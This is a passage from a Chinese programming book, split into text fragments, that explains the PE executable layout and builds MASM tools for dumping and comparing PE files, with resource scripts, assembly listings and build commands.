仔细观察上面列出的字节码清单，大家可以看到，笔者有意识地将这些字节码以每200h大小作为一组分隔开。原因是在PE格式中，每一个大的部分的对齐方式就是按照200h大小对齐的。这样，分出的每一部分都会有一个名称，图1-24是以程序视角看到的HelloWorld.exe的各组成部分。 如图所示，从文件开始到0x03ff偏移处为PE的头部信息，其中记录了整个PE文件的头结构。关于它的数据组织与数据结构在第3章会有详细描述。从偏移地址0x0400开始的200h字节为指令字节码即代码段部分。从偏移0x0600处开始的200h字节为程序中引入的函数描述部分，这些描述主要是为了让操作系统能在装载PE文件的同时，将相关的动态链接库也装入进程地址空间，实现代码的重用。从偏移0x0800处开始的200h个字节则是程序中数据段.data定义的数据空间，其中包含了关于全局变量的定义。 图 1-24 程序视角下的PE结构 提示 以后的大部分内容都将围绕这个简单的PE文件来介绍。所以，建议读者把电子版的代码清单1-2重新排版并打印出来，以便能随时看到它。 1.6 小结 1.6 小结 本章首先介绍了本书用到的软件环境，然后依次介绍了开发语言、调试软件和十六进制编辑软件的使用。并通过一个实例简单地练习了这些辅助软件的综合运用。最后，引入PE文件，列出了后面章节经常用到的HelloWorld.exe的完整字节码。 第2章 三个小工具的编写 第2章 三个小工具的编写 俗话说：“工欲善其事，必先利其器。”本章将完成与Windows PE有关的三个小工具的开发。这三个小工具分别是： PEDump：PE文件字节码查看器 PEComp：PE文件比较器 PEInfo：PE文件结构查看器 首先，让我们从编写最基本的汇编窗口程序开始。该窗口程序是编写本章的三个小工具的基础，也是编写后续大部分章节中其他程序的基础。 2.1 构造基本窗口程序 本节我们将构造一个具有基本窗口元素（含标题栏、菜单栏、工作区域）的窗口程序，后续大部分的程序开发都将以这个基本窗口程序作为基础进行扩展。 2.1.1 构造窗口界面 要构造的窗口程序具备窗口图形界面的大部分元素，包含窗口、菜单、图标、工作区域等。通常的做法是：首先，根据程序功能对程序的界面进行构思；然后，在纸上画出大致的结构图；最后，通过资源脚本来定义并实现界面中的每一部分。当然，读者也可以使用一些辅助的软件（如RADAsm中的资源编辑器，或者VS中的资源编辑器）根据构思好的界面，在所见即所得的资源编辑器图形界面中直接构造程序窗口界面。该程序最终显示的效果如图2-1所示。 图 2-1 基本窗口界面"},
    {"text": "2.1.2 编写相关的资源文件 2.1.2 编写相关的资源文件 构造完窗口界面以后，需要依据界面编写对应的资源文件，一般以\".rc\"为扩展名；这有点类似于工程建设里的依照图纸施工。资源文件编写完成后，还必须通过资源编译器对资源文件实施编译，以生成资源目标文件。资源文件是文本文件，由定义资源的一些脚本语句组成，可以使用文本编辑软件（如记事本）查看和修改。资源目标文件是对这些脚本的一种再组织，根据脚本描述将脚本涉及的所有资源编译到一起，形成二进制字节码。资源目标文件无法通过文本编辑软件查看。 整个过程分为两个阶段： 创建资源文件pe.rc 生成资源目标文件pe.res 下面分别来介绍这两个阶段的内容。 1.创建资源文件pe.rc 在编写资源文件时，需要定义图形中出现的所有菜单项、对话框、图标等。资源文件的详细编码如代码清单2-1所示。 代码清单2-1 资源文件的详细编码（chapter2\\pe.rc） 1 #include＜resource.h＞ 2 3 #define ICO_MAIN 1000 4 #define DLG_MAIN 1000 5 #define IDC_INFO 1001 6 #define IDM_MAIN 2000 7 #define IDM_OPEN 2001 8 #define IDM_EXIT 2002 9 10 #define IDM_1 4000 11 #define IDM_2 4001 12 #define IDM_3 4002 13 #define IDM_4 4003 14 15 16 ICO_MAIN ICON\"main.ico\" 17 18 DLG_MAIN DIALOG 50,50,544,399 19 STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU 20 CAPTION\"PE文件基本信息by qixiaorui\" 21 MENU IDM_MAIN 22 FONT 9,\"宋体\" 23 BEGIN 24 CONTROL\"\",IDC_INFO,\"RichEdit20A\",196|ES_WANTRETURN|WS_CHILD|WS_READONLY 25 |WS_VISIBLE|WS_BORDER|WS_VSCROLL|WS_TABSTOP,0,0,540,396 26 END 27 28 IDM_MAIN menu discardable 29 BEGIN 30 POPUP\"文件(＆F)\" 31 BEGIN 32 menuitem\"打开文件(＆O)...\",IDM_OPEN 33 menuitem separator 34 menuitem\"退出(＆x)\",IDM_EXIT 35 END 36 37 POPUP \"查看\" 38 BEGIN 39 menuitem \"源文件\",IDM_1 40 menuitem \"窗口透明度\",IDM_2 41 menuitem separator 42 menuitem \"大小\",IDM_3 43 menuitem \"宽度\",IDM_4 44 END 45 46 END 第1～13行定义了各元素常量，第16行指定了显示在窗口标题栏的图标为main.ico。需要注意的是，必须保证图标文件与资源文件在同一个目录中，如果指定的图标文件在其他目录中，则需要使用绝对路径，语法如下： ICO_MAIN ICON\"C:\\source\\icon\\main.ico\" 第18～26行定义了对话框DIALOG，该对话框最终的显示效果如图2-1所示。窗口定义中包含了窗口的显示样式、标题栏文字、窗口中包含的菜单IDM_MAIN，以及窗口字体格式。窗口工作区域中只包含了一个富文本框控件IDC_INFO（在第24行和第25行定义）。 第28～46行定义了菜单IDM_MAIN。它包含两个弹出式下拉菜单，分别命名为“文件”和“查看”，每个菜单中又各包含了多个菜单选项。 2.生成资源目标文件pe.res 接下来编译资源文件，生成资源目标文件（扩展名为res）。在命令提示符下输入以下命令（加粗部分）： D:\\masm32\\source\\chapter2＞rc -r pe.rc 如果执行编译时没有错误发生（如资源脚本中定义的相关文件不存在就会抛出错误提示），则命令执行后会在当前目录下生成资源目标文件pe.res。该资源目标文件最终要被链接程序嵌入到PE文件中，构成PE资源表所描述的数据的一部分。"},
    {"text": "主要分为三个阶段： 编写源程序pe.asm 编译生成目标文件pe.obj 链接生成可执行文件pe.exe 下面分别介绍各阶段的详细内容。 1.编写源程序pe.asm 首先，打开记事本，输入代码清单2-2所示的内容（去掉前面的行号）。"},
    {"text": "代码清单2-2 通用程序框架的源程序（chapter2\\pe.asm） 1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 includelib user32.lib 8 include kernel32.inc 9 includelib kernel32.lib 10 include comdlg32.inc 11 includelib comdlg32.lib 12 13 14 ICO_MAIN equ 1000 15 DLG_MAIN equ 1000 16 IDC_INFO equ 1001 17 IDM_MAIN equ 2000 18 IDM_OPEN equ 2001 19 IDM_EXIT equ 2002 20 IDM_1 equ 4000 21 IDM_2 equ 4001 22 IDM_3 equ 4002 23 24 .data 25 hInstance dd ? ;进程实例句柄 26 hRichEdit dd ? ;富文本动态链接库句柄 27 hWinMain dd ? ;窗口句柄 28 hWinEdit dd ? ;文本控件句柄 29 szFileName db MAX_PATH dup (?) 30 31 .const 32 szDllEdit db 'RichEd20.dll',0 33 szClassEdit db 'RichEdit20A',0 34 szFont db '宋体',0 35 36 37 .code 38 39 ;---------------- 40 ;初始化窗口程序 41 ;---------------- 42 _init proc 43 local @stCf:CHARFORMAT 44 45 invoke GetDlgItem,hWinMain,IDC_INFO 46 mov hWinEdit,eax 47 48 ;为窗口设置图标 49 invoke LoadIcon,hInstance,ICO_MAIN 50 invoke SendMessage,hWinMain,WM_SETICON,ICON_BIG,eax 51 52 ;设置编辑控件 53 invoke SendMessage,hWinEdit,EM_SETTEXTMODE,TM_PLAINTEXT,0 54 invoke RtlZeroMemory,addr @stCf,sizeof @stCf 55 mov @stCf.cbSize,sizeof @stCf 56 mov @stCf.yHeight,9*20 57 mov @stCf.dwMask,CFM_FACE or CFM_SIZE or CFM_BOLD 58 invoke lstrcpy,addr @stCf.szFaceName,addr szFont 59 invoke SendMessage,hWinEdit,EM_SETCHARFORMAT,0,addr @stCf 60 invoke SendMessage,hWinEdit,EM_EXLIMITTEXT,0,-1 61 ret 62 _init endp 63 64 65 ;------------------- 66 ;窗口回调函数 67 ;------------------- 68 _ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam 69 mov eax,wMsg 70 .if eax == WM_CLOSE 71 invoke EndDialog,hWnd,NULL 72 .elseif eax == WM_INITDIALOG ;初始化 73 push hWnd 74 pop hWinMain 75 call _init 76 .elseif eax == WM_COMMAND ;菜单 77 mov eax,wParam 78 .if eax == IDM_EXIT ;退出 79 invoke EndDialog,hWnd,NULL 80 .elseif eax == IDM_OPEN ;打开文件 81 .elseif eax == IDM_1 ;其他菜单项 82 .elseif eax == IDM_2 83 .elseif eax == IDM_3 84 .endif 85 .else 86 mov eax,FALSE 87 ret 88 .endif 89 mov eax,TRUE 90 ret 91 _ProcDlgMain endp 92 93 start: 94 invoke LoadLibrary,offset szDllEdit 95 mov hRichEdit,eax 96 invoke GetModuleHandle,NULL 97 mov hInstance,eax 98 invoke DialogBoxParam,hInstance,\\ 99 DLG_MAIN,NULL,offset _ProcDlgMain,NULL 100 invoke FreeLibrary,hRichEdit 101 invoke ExitProcess,NULL 102 end start 代码清单2-2中的第98行通过调用DialogBoxParam函数创建了一个弹出式窗口作为整个程序的主窗口，并将内部函数_ProcDlgMain的地址当成该函数的参数之一传入该函数。"},
    {"text": "由于本实例只是一个基本程序框架，所以回调函数只对菜单中的“退出”选项做了响应，如下所示： 70 .if eax == WM_CLOSE 71 invoke EndDialog,hWnd,NULL 代码编写完成以后保存为pe.asm文件，然后编译生成目标文件。"},
    {"text": "生成目标文件的过程是处理源代码中可能会出现错误（如引入外部符号错误、源代码语法错误等）的过程，生成的目标文件最终会被链接程序拼接到最终的可执行文件中，当然，除了编译源代码生成的目标文件外，可执行文件还包含资源目标文件、外部引入的符号等信息。"},
    {"text": "在命令提示符下输入以下命令，编译源文件pe.asm： D:\\masm32\\source\\chapter2＞ml -c -coff pe.asm 如果没有错误，则会在当前目录下生成目标文件pe.obj。"},
    {"text": "3.链接生成可执行文件pe.exe 在命令提示符下输入以下命令： D:\\masm32\\source\\chapter2＞link-subsystem:windows pe.obj pe.res 上述命令指定了最终生成的EXE文件的运行平台为Windows，链接程序将根据pe.obj中的描述构造PE文件，并将相关资源内容附加到PE文件里，最终生成可执行的pe.exe。"},
    {"text": "2.2 PEDump的实现 2.2 PEDump的实现 PEDump是PE文件字节码查看器，利用它可以查看和阅读指定PE文件的十六进制字节码，帮助我们更好地分析PE结构。 2.2.1 编程思路 编写PEDump的重点在于显示功能，首先来看一看最终可能的输出效果，如图2-2所示。 图 2-2 PEDump的输出效果 如图所示，最终输出包含三列内容。 第一列是地址。地址的值是第（n×16+1）个字节在文件中的位置。 第二列是由空格分隔符分隔的16个字节的十六进制显示。 第三列是这16个字节对应的ASCⅡ码值。如果ASCⅡ码中无对应值，或者这些值是一些功能键，则以“.”代替。 注意 有的查看器（如FlexHex）还增加了Unicode字符一列，用来显示字节码中包含的Unicode字符。 编程时要考虑到最后一行可能会少于16个字节，这时候第二列和第三列不足的地方就可以使用空格补足。程序编写的流程如图2-3所示。 图 2-3 编写PEDump程序的流程 步骤1 打开PE文件。需要说明的是，打开的PE文件会被映射为内存文件。因为内存文件中的内容是线性存放的，存取方便，速度也快，并且操作起来比在文件中使用指针定位要更容易些。 步骤2 使用API函数GetFileSize得到该PE文件的大小。 步骤3～5 将第2步获取的值与16相除，商作为循环计数，余数则是字节码查看器最后一行的字节个数。在程序中构造一个循环，用来显示PE文件除最后一行外其他行的字节内容。 为了更好地理解该开发过程，我们需要理解两个概念：内存映射文件与PE内存映像。 内存映射文件是指将硬盘上的文件不做修改地装载到内存中。这样，文件中字节与字节之间就是顺序排列的了。在硬盘上，文件被分割成若干簇，这些簇不一定会按照文件内容顺序排列在一起，当我们访问磁盘上的文件时，需要计算机首先将不同位置的内容读取到内存。有了内存映射文件，访问就会变得更轻松和快捷，由于读取磁盘的操作集中到了一起执行，读写效率会提高很多。被一次性读取到内存的文件字节按线性排序，访问相对简单，速度也提升了不少。所以，许多大型的编辑软件在设计中经常会使用内存映射文件存取磁盘文件。 PE内存映像是指将PE文件按照一定的规则装载到内存中，装入后的整个文件头内容不会发生变化，但PE文件的某一部分如节的内容会按照字段中的对齐方式在内存中对齐，从而使得内存中的PE映像与装载前的PE文件不同。那么，为什么PE内存映像不能和一般的内存映射文件一样呢？答案很简单：PE文件是由操作系统装载进内存的，其目的是为了运行。为了配合操作系统的运行，方便调度，提高运行效率，PE映像必须按照一定的格式对齐，所以内存中的PE映像和原来硬盘上的文件是不同的，当然与内存映射文件也就不一样了。"},
    {"text": "PEDump.asm在pe.asm的基础上增加了对菜单项IDM_OPEN的响应代码，如下所示： .elseif eax == IDM_OPEN ;打开文件 invoke _openFile 函数_openFile的实现如代码清单2-3所示。 代码清单2-3 PEDump主要函数_openFile实现（chapter2\\pedump.asm） 1 ;-------------------- 2 ;打开PE文件并处理 3 ;-------------------- 4 _openFile proc 5 local @stOF:OPENFILENAME 6 local @hFile,@hMapFile 7 local @bufTemp1 ;十六进制字节码 8 local @bufTemp2 ;第一列 9 local @dwCount ;计数，逢16则重新计 10 local @dwCount1 ;地址序号 11 local @dwBlanks ;最后一行空格数 12 13 invoke RtlZeroMemory,addr @stOF,sizeof @stOF 14 mov @stOF.lStructSize,sizeof @stOF 15 push hWinMain 16 pop @stOF.hwndOwner 17 mov @stOF.lpstrFilter,offset szExtPe 18 mov @stOF.lpstrFile,offset szFileName 19 mov @stOF.nMaxFile,MAX_PATH 20 mov @stOF.Flags,OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST 21 invoke GetOpenFileName,addr @stOF ;让用户选择打开的文件 22 .if!eax 23 jmp @F 24 .endif 25 invoke CreateFile,addr szFileName,GENERIC_READ,\\ 26 FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\\ 27 OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL 28 .if eax!=INVALID_HANDLE_VALUE 29 mov @hFile,eax 30 invoke GetFileSize,eax,NULL ;获取文件大小 31 mov totalSize,eax 32 33 .if eax 34 invoke CreateFileMapping,@hFile,\\ ;内存映射文件 35 NULL,PAGE_READONLY,0,0,NULL 36 .if eax 37 mov @hMapFile,eax 38 invoke MapViewOfFile,eax,\\ 39 FILE_MAP_READ,0,0,0 40 .if eax 41 mov lpMemory,eax ;获得文件在内存的映像起始位置 42 assume fs:nothing 43 push ebp 44 push offset _ErrFormat 45 push offset _Handler 46 push fs:[0] 47 mov fs:[0],esp 48 49 ;开始处理文件 50 … 177 178 ;处理文件结束 179 180 jmp _ErrorExit 181 182 _ErrFormat: 183 invoke MessageBox,hWinMain,offset szErrFormat,NULL,MB_OK 184 _ErrorExit: 185 pop fs:[0] 186 add esp,0ch 187 invoke UnmapViewOfFile,lpMemory 188 .endif 189 invoke CloseHandle,@hMapFile 190 .endif 191 invoke CloseHandle,@hFile 192 .endif 193 .endif 194 @@: 195 ret 196 _openFile endp 子程序_openFile首先调用GetOpenFileName，显示一个文件选择对话框，让用户选择要打开的PE文件；"},
    {"text": "十六进制字节码查看器的主要代码如下： 51 ;缓冲区初始化 52 invoke RtlZeroMemory,addr @bufTemp1,10 53 invoke RtlZeroMemory,addr @bufTemp2,20 54 invoke RtlZeroMemory,addr lpServicesBuffer,100 55 invoke RtlZeroMemory,addr bufDisplay,50 56 57 mov @dwCount,1 58 mov esi,lpMemory 59 mov edi,offset bufDisplay 60 61 ;将第一列写入lpServicesBuffer 62 mov @dwCount1,0 63 invoke wsprintf,addr @bufTemp2,addr lpszFilterFmt4,@dwCount1 64 invoke lstrcat,addr lpServicesBuffer,addr @bufTemp2 65 66 ;求最后一行的空格数（16-长度%16）*3 67 xor edx,edx 68 mov eax,totalSize 69 mov ecx,16 70 div ecx 71 mov eax,16 72 sub eax,edx 73 xor edx,edx 74 mov ecx,3 75 mul ecx 76 mov @dwBlanks,eax 77 78 ;invoke wsprintf,addr szBuffer,addr lpszOut1,totalSize 79 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 80 81 .while TRUE 82 .if totalSize == 0 ;最后一行 83 ;填充空格 84 .while TRUE 85 .break.if @dwBlanks == 0 86 invoke lstrcat,addr lpServicesBuffer,addr lpszBlank 87 dec @dwBlanks 88 .endw 89 ;第二列与第三列中间的空格 90 invoke lstrcat,addr lpServicesBuffer,addr lpszManyBlanks 91 ;第三列内容 92 invoke lstrcat,addr lpServicesBuffer,addr bufDisplay 93 ;回车换行符号 94 invoke lstrcat,addr lpServicesBuffer,addr lpszReturn 95 .break 96 .endif 97 ;将al翻译成可以显示的ASCⅡ码字符,注意不能破坏al的值 98 mov al,byte ptr [esi] 99 .if al＞20h＆＆al＜7eh 100 mov ah,al 101 .else ;如果不是ASCⅡ码值，则显示“.” 102 mov ah,2Eh 103 .endif 104 ;写入第三列的值 105 mov byte ptr [edi],ah 106 107 ;Windows 2000不支持al字节级别，经常导致程序意外终止 108 ;因此用以下方法替代 109 ;invoke wsprintf,addr @bufTemp1,addr lpszFilterFmt3,al 110 111 mov bl,al 112 xor edx,edx 113 xor eax,eax 114 mov al,bl 115 mov cx,16 116 div cx ;结果高位在al中，余数在dl中 117 118 ;组合字节的十六进制字符串到@bufTemp1中，类似于：\"7F\\0\" 119 push edi 120 xor bx,bx 121 mov bl,al 122 movzx edi,bx 123 mov bl,byte ptr lpszHexArr [edi] 124 mov byte ptr @bufTemp1[0],bl 125 126 xor bx,bx 127 mov bl,dl 128 movzx edi,bx 129 mov bl,byte ptr lpszHexArr [edi] 130 mov byte ptr @bufTemp1[1],bl 131 mov bl,20h 132 mov byte ptr @bufTemp1[2],bl 133 mov bl,0 134 mov byte ptr @bufTemp1[3],bl 135 pop edi 136 137 ;将第二列写入lpServicesBuffer 138 invoke lstrcat,addr lpServicesBuffer,addr @bufTemp1 139 140 .if @dwCount == 16 ;已到16个字节 141 ;第二列与第三列中间的空格 142 invoke lstrcat,addr lpServicesBuffer,addr lpszManyBlanks 143 ;显示第三列字符 144 invoke lstrcat,addr lpServicesBuffer,addr bufDisplay 145 ;回车换行 146 invoke lstrcat,addr lpServicesBuffer,addr lpszReturn 147 148 ;写入内容 149 invoke _appendInfo,addr lpServicesBuffer 150 invoke RtlZeroMemory,addr lpServicesBuffer,100 151 152 153 ;显示下一行的地址 154 inc @dwCount1 155 invoke wsprintf,addr @bufTemp2,addr lpszFilterFmt4,\\ 156 @dwCount1 157 invoke lstrcat,addr lpServicesBuffer,addr @bufTemp2 158 dec @dwCount1 159 160 mov @dwCount,0 161 invoke RtlZeroMemory,addr bufDisplay,50 162 mov edi,offset bufDisplay 163 ;为了能与后面的inc edi配合，使edi正确定位到bufDisplay处 164 dec edi 165 .endif 166 167 dec totalSize 168 inc @dwCount 169 inc esi 170 inc edi 171 inc @dwCount1 172 .endw 173 174 ;添加最后一行 175 invoke _appendInfo,addr lpServicesBuffer 176 完整的源代码请查看随书文件chapter2\\pedump.asm。"},
    {"text": "每取一个字节，都会将该字节的十六进制字符表示形式加上后面的空格作为一个完整单位，附加到lpServicesBuffer。 每计数16个字节，就会将lpServicesBuffer中存放的完整的一行内容写入到富文本框中。"},
    {"text": "2.2.3 PEDump代码中的数据结构 2.2.3 PEDump代码中的数据结构 为了帮助大家更好地阅读PEDump的实现代码，在此分别列出本程序中用到的全局变量和局部变量。 （1）程序中用到的全局变量 （2）程序中用到的局部变量 local @bufTemp1 ;十六进制字节码 local @bufTemp2 ;第一列缓冲区 local @dwCount ;计数，逢16则重新计 local @dwCount1 ;地址序号 local @dwBlanks ;最后一行的空格数 结合代码清单2-3，对生成PE字节码的过程解释如下： 第一列内容的生成（第63～64行）程序通过组合字符串函数wsprintf构造第一列内容，生成的字符串被存储在@bufTemp2中，使用lstrcat函数将该内容加到lpServicesBuffer中。如下所示： 63 invoke wsprintf,addr @bufTemp2,addr lpszFilterFmt4,@dwCount1 64 invoke lstrcat,addr lpServicesBuffer,addr @bufTemp2 第二列内容的生成（第111～135行）通过循环构造第二列字节码的内容，把每一个字节的字节码字符串写入缓冲区@bufTemp1，然后使用lstrcat函数将这个字节的内容加到lpServicesBuffer中。 注意 @bufTemp1中存放的并不是第二列所有的内容，而是一个字节的内容。内容包括字节十六进制表示+空格+结尾的“\\0”字符。假设该字节为80h，则存储在@bufTemp1中的内容为“80\\0”。 第三列内容的生成（第97～105行）每取一个字节，就会判断该字节的值是否介于20h和7eh之间，如果是则将相应的ASCⅡ码写入变量bufDisplay，否则写入“.”到变量bufDisplay。 每行的生成 lpServicesBuffer代表每行的缓冲区，每读取16个字节，就会将该缓冲区中的内容写入到新文件中。如果是最后一行，则在循环中单独处理（见代码清单2-3的第82～96行）。 2.2.4 运行PEDump 2.2.4 运行PEDump 打开命令提示符窗口，在D:\\masm32\\source\\chapter2目录下执行如下命令： rc -r pedump.rc（编译资源脚本文件） ml -c -coff pedump.asm（编译PEDump.asm） link-subsystem:windows pedump.res pedump.obj（链接生成可执行程序） 运行PEDump.exe，最终效果如图2-4所示。 图 2-4 PEDump的运行效果 在测试多个打开的PE文件后你会发现程序存在一个问题，当程序在打开比较大的PE文件显示字节码时界面会发生假死，这是由于程序主线程的循环造成了系统消息堵塞，从而无法完成界面更新所致。要解决这个问题，应该把事件响应代码_openFile单独放到一个开启的线程中执行，方法如下。 将以下菜单响应代码： invoke _openFile 更改为： invoke CreateThread,NULL,0,addr _openFile,addr @sClient,0,NULL 为了能随时终止滚动显示，可以在主程序中增加一个标志字节，然后在查看菜单中增加一个“停止dump...”菜单选项，该选项的响应代码为： .elseif eax == IDM_1 ;停止dump mov dwStop,1 线程函数_openFile的循环中也有对应的检测dwStop的代码，如下所示： .while TRUE ...... .break.if dwStop == 1 ...... .endw 经过如上设计，在程序显示字节码的过程中，任意拖曳运行窗口都不会出现界面假死的现象。同时，用户也可以通过菜单项“查看”|“停止Dump...”随时终止字节码的显示，退出循环。 至此，PE文件字节码查看器的编写完成。可以看出，在通用程序框架的基础上实施再编码，不仅为开发者节省了很多的时间，提高了开发效率，同时也有利于开发者把主要精力集中到关键代码的编写上。 2.3 PEComp的实现 2.3 PEComp的实现 PEComp是PE文件比较器。功能是按照PE文件格式的数据结构按字段对两个指定的PE文件进行比对，以获取两个PE文件结构中的不相同的信息。在实际应用中，我们可以通过对比病毒感染前后PE文件在相关字段上发生的变化来判断病毒的感染方式，从而确定清理病毒的方法。 2.3.1 编程思路 PEComp的功能是在通用框架pe.asm的基础上，实现两个PE文件的对比，并通过图形界面将不同之处形象地表示出来。编码的大致思路如下： 步骤1 打开要比较的两个文件，分别进行文件的内存映射，获取内存起始地址。 步骤2 线性搜索，根据文件头部内容确定该文件是否为PE文件，不是则退出。 步骤3 将esi指向要操作的第一个文件的相关字段处，将edi指向第二个要操作的文件的相同字段处，同时获取该位置的指定个数的字节到内存，比较并显示，如果不同，则显示时使用红色背景以示区别。 下面开始具体的设计过程，首先根据构思的最终显示效果定义资源文件。"},
    {"text": "2.3.2 定义资源文件 2.3.2 定义资源文件 将2.1.2节中的资源文件pe.rc复制到pecomp.rc，并在pecomp.rc文件中增加一个对话框，该对话框中包括用户选择的参与对比的两个PE文件文本框ID_TEXT1和ID_TEXT2、两个浏览按钮、一个显示结果用的表格IDC_MODULETABLE和一个执行按钮，增加的对话框脚本定义如下所示： RESULT_MODULE DIALOG 76,10,630,480 STYLE DS_MODALFRAME|WS_POPUP|WS_VISIBLE|WS_CAPTION|WS_SYSMENU CAPTION \"PE文件对比结果\" FONT 9,\"宋体\" BEGIN LTEXT\"您选定的第一个文件为：\",ID_STATIC,10,13,200,15 EDITTEXT ID_TEXT1,130,13,440,15 PUSHBUTTON\"浏览...\",IDC_BROWSE1,570,13,50,14 LTEXT\"您选定的第二个文件为：\",ID_STATIC1,10,35,200,15 EDITTEXT ID_TEXT2,130,35,440,15 PUSHBUTTON\"浏览...\",IDC_BROWSE2,570,35,50,14 CONTROL\"\",IDC_MODULETABLE,\"SysListView32\",13|WS_CHILD|WS_VISIBLE|WS_BORDER|WS_TABSTOP,10,60,610,390 AUTOCHECKBOX \"只显示不同的值\"IDC_THESAME,10,460,100,14 PUSHBUTTON\"执行...(＆R)\",IDC_OK,570,460,50,14 END"},
    {"text": "2.3.3 PEComp编码 2.3.3 PEComp编码 复制pe.asm到PEComp.asm，并从代码中的窗口回调函数的菜单项响应部分开始编码，增加内容有以下4个部分。 1.菜单项响应代码 在主窗口的回调函数中，定义对鼠标点击菜单项“文件”|“打开”所引发的消息处理程序，添加如下代码： .elseif eax == IDM_OPEN ;打开PE文件对比对话框 invoke DialogBoxParam,hInstance,RESULT_MODULE,hWnd,\\ offset _resultProcMain,0 invoke InvalidateRect,hWnd,NULL,TRUE invoke UpdateWindow,hWnd 当用户选择了“打开”菜单选项时，会弹出资源文件里定义的对话框RESULT_MODULE。"},
    {"text": "代码清单2-4 PE文件比较器的窗口回调函数_resultProcMain实现（chapter2\\pecomp.asm） 1 ;----------------------- 2 ;弹出PE对比窗口回调函数 3 ;----------------------- 4 _resultProcMain proc uses ebx edi esi 5 hProcessModuleDlg:HWND,wMsg,wParam,lParam 5 mov eax,wMsg 6 7 .if eax == WM_CLOSE 8 invoke EndDialog,hProcessModuleDlg,NULL 9 .elseif eax == WM_INITDIALOG 10 invoke GetDlgItem,hProcessModuleDlg,IDC_MODULETABLE 11 mov hProcessModuleTable,eax 12 invoke GetDlgItem,hProcessModuleDlg,ID_TEXT1 13 mov hText1,eax 14 invoke GetDlgItem,hProcessModuleDlg,ID_TEXT2 15 mov hText2,eax 16 17 ;定义表格外观 18 invoke SendMessage,hProcessModuleTable,LVM_SETEXTENDEDLISTVIEWSTYLE,\\ 19 0,LVS_EX_GRIDLINES or LVS_EX_FULLROWSELECT 20 invoke ShowWindow,hProcessModuleTable,SW_SHOW 21 ;清空表格内容 22 invoke _clearResultView 23 24 .elseif eax == WM_NOTIFY 25 mov eax,lParam 26 mov ebx,lParam 27 ;更改各控件状态 28 mov eax,[eax+NMHDR.hwndFrom] 29 .if eax == hProcessModuleTable 30 mov ebx,lParam 31 .if [ebx+NMHDR.code] == NM_CUSTOMDRAW ;绘画时 32 mov ebx,lParam 33 assume ebx:ptr NMLVCUSTOMDRAW 34 .if [ebx].nmcd.dwDrawStage == CDDS_PREPAINT 35 invoke SetWindowLong,hProcessModuleDlg,DWL_MSGRESULT,\\ 36 CDRF_NOTIFYITEMDRAW 37 mov eax,TRUE 38 .elseif [ebx].nmcd.dwDrawStage == CDDS_ITEMPREPAINT 39 40 ;当每一单元格内容被重新绘制前，判断 41 ;两列的值是否一致 42 invoke _GetListViewItem,hProcessModuleTable,\\ 43 [ebx].nmcd.dwItemSpec,1,addr bufTemp1 44 invoke _GetListViewItem,hProcessModuleTable,\\ 45 [ebx].nmcd.dwItemSpec,2,addr bufTemp2 46 invoke lstrlen,addr bufTemp1 47 invoke _MemCmp,addr bufTemp1,addr bufTemp2,eax 48 49 ;如果一致，则将文本的背景色设置为浅红色，否则为黑色 50 .if eax == 1 51 mov [ebx].clrTextBk,0a0a0ffh 52 .else 53 mov [ebx].clrTextBk,0ffffffh 54 .endif 55 invoke SetWindowLong,hProcessModuleDlg,DWL_MSGRESULT,\\ 56 CDRF_DODEFAULT 57 mov eax,TRUE 58 .endif 59 .elseif [ebx+NMHDR.code] == NM_CLICK 60 assume ebx:ptr NMLISTVIEW 61 .endif 62 .endif 63 .elseif eax == WM_COMMAND 64 mov eax,wParam 65 .if ax == IDC_OK ;执行对比 66 invoke _openFile 67 .elseif ax == IDC_BROWSE1 68 invoke _OpenFile1 ;用户选择第一个文件 69 .elseif ax == IDC_BROWSE2 70 invoke _OpenFile2 ;用户选择第二个文件 71 .endif 72 .else 73 mov eax,FALSE 74 ret 75 .endif 76 mov eax,TRUE 77 ret 78 _resultProcMain endp PE文件比较器窗口回调函数中最主要的代码集中在第31～58行。"},
    {"text": "如上所示，当用户选择了两个要参与对比的PE文件以后，点击执行对比按钮，系统会调用函数_openFile。 2._openFile函数 _openFile函数的功能是把两个PE文件数据结构中的相关字段的值取出，分别放到表格的第1列和第2列，判断两个值是否相等的代码在回调函数_resultProcMain中已经给出。 与前面的思路一样，程序还是使用了内存映射函数来操作参与对比的两个PE文件，所不同的是这里需要定义两个指针。 一个指针指向第一个文件的内存映射函数的起始位置，另一个指针指向第二个文件的内存映射函数的起始位置。"},
    {"text": "假设该工作已经完成，接下来就是把两个PE文件按照第3章里描述的所有字段的值取出来显示到表格中，完成该功能的代码如代码清单2-5所示。"},
    {"text": "代码清单2-5 _openFile函数实现的部分代码 1 ;到此为止，两个内存文件的指针已经获取到了 2 ;@lpMemory和@lpMemory1分别指向两个文件头 3 ;下面是从这个文件头开始，先找出各数据结构的字段值，然后进行比较 4 5 ;调整esi,edi指向DOS头 6 mov esi,@lpMemory 7 assume esi:ptr IMAGE_DOS_HEADER 8 mov edi,@lpMemory1 9 assume edi:ptr IMAGE_DOS_HEADER 10 invoke _Header1 11 12 ;调整esi,dei指针指向PE文件头 13 add esi,[esi].e_lfanew 14 assume esi:ptr IMAGE_NT_HEADERS 15 add edi,[edi].e_lfanew 16 assume edi:ptr IMAGE_NT_HEADERS 17 invoke _Header2 18 19 movzx ecx,word ptr [esi+6] 20 movzx eax,word ptr [edi+6] 21 22 .if eax＞ecx 23 mov ecx,eax 24 .endif 25 26 ;调整esi,edi指针指向节表 27 add esi,sizeof IMAGE_NT_HEADERS 28 add edi,sizeof IMAGE_NT_HEADERS 29 mov eax,1 30 .repeat 31 invoke _Header3 32 dec ecx 33 inc eax 34 .break.if ecx == 0 35 add esi,sizeof IMAGE_SECTION_HEADER 36 add edi,sizeof IMAGE_SECTION_HEADER 37 .until FALSE 由于编码比较长，这里只以结构IMAGE_DOS_HEADER中的字段e_lpanew为例介绍程序设计的流程：将esi和edi分别赋值到两个PE文件的IMAGE_DOS_HEADER后，调用函数_Header1，处理数据结构DOS头的相关字段（第5～10行）。"},
